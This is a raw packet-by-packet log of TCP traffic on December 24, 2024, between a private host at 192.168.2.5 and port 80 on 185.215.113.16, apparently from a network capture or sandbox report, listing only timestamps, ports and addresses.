Dec 24, 2024 12:39:33.646886110 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.646958113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.647636890 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.647689104 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.647701025 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.647799969 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.647839069 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.648682117 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.648693085 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.648706913 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.648722887 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.649525881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.649590015 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.649605036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.649616003 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.649646044 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.650495052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.650515079 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.650526047 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.650573015 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.651556015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.651597977 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.651623011 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.651634932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.651679039 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.652429104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.652477980 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.652488947 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.652524948 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.653398991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.653444052 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.653498888 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.653510094 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.653539896 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.654393911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.654413939 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.654423952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.654463053 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.655343056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.655388117 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.655389071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.655400991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.655435085 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.656317949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.656408072 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.656419039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.656450033 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.657365084 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.657376051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.657392025 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.657411098 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.657444954 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.658291101 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.658302069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.658312082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.658334970 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.704431057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.704483032 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.704518080 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.704705000 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.704718113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.704745054 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.704809904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.704854012 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.705698967 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.705769062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.705780983 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.705804110 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.706448078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.706460953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.706474066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.706490993 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.706507921 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.707387924 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.707549095 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.707561016 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.707592010 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.708414078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.708430052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.708441973 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.708453894 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.708473921 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.709328890 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.709391117 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.709402084 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.709429979 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.710341930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.710361004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.710371971 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.710382938 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.710417986 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.711267948 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.711333990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.711344004 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.711371899 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.712230921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.712271929 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.712395906 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.754142046 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.776561975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.776653051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.776658058 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.776710033 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.777081013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.777131081 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.777148008 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.777510881 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.777553082 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.777656078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.777662039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.777707100 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.778418064 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.778525114 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.778531075 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.778573990 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.779483080 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.779494047 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.779500008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.779531002 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.779551029 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.830307961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.830387115 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.830396891 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.830441952 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.830862045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.830868006 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.830878973 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.830914021 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.831902981 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.832016945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.832022905 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.832027912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.832062960 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.832863092 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.832869053 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.832894087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.832921982 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.833776951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.833822966 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.833842039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.833847046 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.833887100 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.834722042 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.834845066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.834856033 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.834892988 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.835700989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.835747004 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.835767031 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.835779905 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.835829020 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.836642981 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.836724043 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.836730003 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.836777925 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.837596893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.837666035 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.837671995 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.837673903 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.837706089 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.838629007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.838635921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.838685989 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.838745117 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.839556932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.839602947 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.839616060 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.839627028 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.839704037 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.840595961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.840643883 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.840651035 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.840699911 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.841494083 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.841567039 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.841573000 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.841576099 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.841614962 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.842484951 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.842525959 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.842533112 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.842576027 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.843442917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.843488932 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.843501091 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.843508005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.843554974 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.844453096 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.844460011 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.844474077 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.844506979 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.845403910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.845448017 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.845453024 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.845453978 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.845500946 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.846446037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.846457958 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.846463919 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.846503973 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.847337008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.847383976 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.847385883 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.847389936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.847465038 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.848297119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.848361015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.848366976 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.848407030 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.849298000 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.849343061 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.849347115 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.849349022 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.849391937 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.850295067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.850301981 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.850312948 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.850347996 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.851167917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.851208925 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.876522064 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.896889925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.896895885 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.896903038 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.896954060 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.897221088 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.897259951 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.897274017 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.897279024 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.897322893 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.898183107 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.898392916 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.898435116 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.898447037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.898453951 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.898485899 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.899460077 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.899507999 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.899514914 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.899559975 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.901035070 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.901079893 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.901118994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.901125908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.901165962 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.902743101 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.902750015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.902761936 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.902793884 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.904208899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.904252052 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.904294968 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.904310942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.904347897 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.904926062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.904933929 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.904946089 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.904979944 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.905493975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.905522108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.905551910 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.957274914 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.968832970 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.968872070 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.968877077 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.968925953 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.969315052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.969362974 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.969392061 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.969397068 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.969441891 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.970309019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.970319033 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.970330000 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.970375061 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.971251965 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.971298933 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.971303940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.971338034 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.971357107 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.972249031 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.972429037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.972477913 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.022555113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.022613049 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.022619963 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.022675037 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.022964001 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.023014069 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.023252010 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.023322105 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.023328066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.023381948 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.024074078 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.024142027 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.024169922 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.024243116 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.024408102 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.024527073 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.024583101 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.024589062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.024631023 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.025504112 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.025552988 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.025558949 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.025566101 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.025595903 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.026585102 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.026591063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.026602983 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.026632071 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.027448893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.027487993 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.027506113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.027513027 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.027553082 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.028419018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.028477907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.028487921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.028516054 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.029381990 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.029424906 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.029434919 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.029441118 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.029481888 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.030386925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.030405045 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.030414104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.030438900 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.031389952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.031439066 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.031461000 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.031466961 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.031506062 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.032310963 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.032344103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.032354116 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.032401085 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:34.033284903 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:34.033338070 CET	80	49727	185.215.113.16	192.168.2.5
